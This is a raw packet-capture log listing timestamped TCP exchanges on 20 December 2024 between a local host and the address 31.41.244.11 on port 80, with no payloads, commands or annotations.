Dec 20, 2024 16:08:21.696713924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.696760893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.697195053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.697208881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.697221994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.697237015 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.697262049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.698148966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.698163033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.698198080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.698226929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.699228048 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.699260950 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.699280024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.699296951 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.699944019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.699981928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.699985027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.700016022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.700915098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.700928926 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.700963974 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.700985909 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.701886892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.701900959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.701956987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.701956987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.702769041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.702795982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.702822924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.702840090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.703725100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.703739882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.703772068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.703788996 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.704726934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.704741001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.704777956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.704798937 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.705683947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.705697060 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.705724001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.705750942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.708427906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.708455086 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.708487034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.708518028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.710315943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.710344076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.710366011 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.710387945 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.713449001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.713507891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.714272976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.714448929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.715121031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.715135098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.715169907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.715189934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.715965986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.715981960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.716015100 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.716032028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.717824936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.717890024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.718307972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.718348980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.721546888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.721575975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.721607924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.721609116 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.723552942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.723622084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.724349976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.726854086 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.726867914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.726872921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.726937056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.726937056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.728591919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.728604078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.728657961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.728658915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.734262943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.734596014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.735225916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.735354900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.743140936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.743155003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.743345022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.746006012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.747072935 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.747107029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.747353077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.749742985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.749754906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.750605106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.751621962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.751990080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.752568007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.752645969 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.757227898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.757330894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.758178949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.758286953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.764271021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.764417887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.765242100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.765391111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.766133070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.766145945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.766603947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.767170906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.767184019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.767345905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.767996073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.768016100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.768105030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.768105984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.768949986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.768964052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.769001007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.769021034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.769902945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.769916058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.769927979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.770004988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.770617962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.770836115 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.770848989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.771152020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.771761894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.771775007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.771848917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.771848917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.772639990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.772660017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.772697926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.772697926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.773577929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.773606062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.773632050 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.773674011 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.774543047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.774573088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.774609089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.774609089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.775450945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.775465012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.775476933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.775521040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.775521040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.776401043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.776413918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.776482105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.776482105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.777311087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.777326107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.777381897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.777381897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.778228045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.778243065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.778289080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.778326988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.779145002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.779159069 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.779212952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.779212952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.780076981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.780616045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.780982018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.781213999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.781379938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.781399965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.781439066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.781439066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.782341003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.782354116 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.782409906 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.782409906 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.783289909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.783304930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.783324003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.783345938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.784209013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.784223080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.784244061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.784290075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.784290075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.785047054 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.785069942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.785096884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.785204887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.785968065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.785983086 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.786031961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.786031961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.787136078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.787149906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.787162066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.787210941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.787211895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.787903070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.787915945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.787981033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.787981033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.788722038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.788734913 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.788774967 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.788813114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.789628983 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.789643049 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.789715052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.789715052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.790473938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.790493965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.790528059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.790528059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.790545940 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.791363001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.791383028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.791394949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.791438103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.791438103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.792243958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.792264938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.792310953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.792349100 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.793207884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.793248892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.793276072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.793313026 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.794066906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.794080019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.794150114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.794949055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.794979095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.795033932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.795033932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.795824051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.795835972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.795861006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.795916080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.795916080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.796997070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.797008991 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.797080040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.797080040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.797602892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.797615051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.797671080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.797671080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.798479080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.798491955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.798552036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.798552036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.798870087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.798890114 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.798933029 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.798933029 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.799742937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.799755096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.800491095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.800503016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.800545931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.800545931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.800610065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.801294088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.801646948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.801695108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.801695108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.802031040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.802526951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.802535057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.802680969 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.803364038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.803438902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.803531885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.803622007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.804461002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.804558039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.804992914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.805221081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.805788040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.805857897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.805881977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.805937052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.808037996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.808053970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.808123112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.810508966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.810559988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.811319113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.811898947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.812974930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.812988997 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.813046932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.813873053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.813884974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.813977957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.814691067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.814704895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.814743042 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.817281008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.817336082 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.818123102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.818315983 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.820730925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.820744038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.820852995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.822370052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.822649002 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.823210955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.823349953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.825743914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.825757980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.825822115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.828288078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.828391075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.829080105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.829236031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.830764055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.830777884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.830971003 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.833265066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.833970070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.834065914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.834206104 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.835738897 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.835751057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.835968018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.838234901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.838361979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.839027882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.839087963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.840751886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.840764046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.840811968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.840811968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.843197107 CET	80	49965	31.41.244.11	192.168.2.5
